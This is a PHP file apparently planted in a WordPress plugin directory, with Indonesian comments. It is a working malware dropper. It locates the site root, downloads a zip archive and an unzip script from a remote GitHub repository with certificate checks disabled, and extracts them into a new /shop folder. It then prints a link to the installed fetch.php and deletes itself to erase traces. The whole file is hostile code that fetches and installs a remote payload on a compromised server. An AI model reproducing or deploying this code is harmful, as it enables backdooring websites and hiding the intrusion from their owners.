File: /usr/home/uyu7574470001/htdocs/wp-content/plugins/wgzdlll/tools.php
<?php
/**
* Auto Deployer - Direct Root & Auto Unzip (Updated un.php)
*/
error_reporting(0);
set_time_limit(0);
// --- KONFIGURASI SUMBER ---
$folderName = 'shop';
$zipUrl = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/new.zip';
$unzipUrl = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/un.php'; // Nama file baru
// 1. Logika Cari Folder Utama (Root) berbasis letak wp-content
function cari_pintu_depan() {
$path = dirname(__FILE__);
while ($path !== '/' && $path !== '.' && $path !== dirname($path)) {
// Jika di folder ini ada wp-content, berarti ini adalah ROOT
if (file_exists($path . '/wp-content')) {
return $path;
}
// Jika script sedang berada di dalam sub-folder wp-content
if (strpos($path, 'wp-content') !== false) {
$path = dirname($path);
continue;
}
$path = dirname($path);
}
return $_SERVER['DOCUMENT_ROOT']; // Fallback jika bukan struktur WP standar
}
$rootDir = cari_pintu_depan();
$targetPath = $rootDir . '/' . $folderName;
// 2. Buat Folder /shop di Root
if (!is_dir($targetPath)) {
@mkdir($targetPath, 0755, true);
}
// 3. Fungsi Download via cURL
function sedot($url, $save) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$data = curl_exec($ch);
curl_close($ch);
return file_put_contents($save, $data);
}
// Eksekusi Download & Unzip
if (is_dir($targetPath)) {
sedot($zipUrl, $targetPath . '/new.zip');
sedot($unzipUrl, $targetPath . '/un.php');
// 4. AUTO UNZIP (Eksekusi internal)
if (file_exists($targetPath . '/new.zip')) {
$zip = new ZipArchive;
if ($zip->open($targetPath . '/new.zip') === TRUE) {
$zip->extractTo($targetPath . '/');
$zip->close();
// Bersihkan file installer
@unlink($targetPath . '/new.zip');
@unlink($targetPath . '/un.php');
$status = "BERHASIL: Folder /shop aktif di root.";
} else {
// Jika ZipArchive server mati, coba panggil un.php via HTTP sebagai cadangan
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
$trigger = $proto . "://" . $_SERVER['HTTP_HOST'] . "/$folderName/un.php";
@file_get_contents($trigger);
$status = "PROSES: Menggunakan trigger HTTP untuk unzip.";
}
}
} else {
$status = "GAGAL: Izin tulis (Permission) ditolak di $rootDir";
}
// Output Report
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
echo "<pre>";
echo "--- [ DEPLOY REPORT ] ---\n";
echo "Status : $status\n";
echo "Root Dir : $rootDir\n";
echo "Link : $proto://" . $_SERVER['HTTP_HOST'] . "/$folderName/fetch.php\n";
echo "-------------------------\n";
echo "</pre>";
// Self-destruct (Hapus tools.php ini sendiri)
@unlink(__FILE__);
?>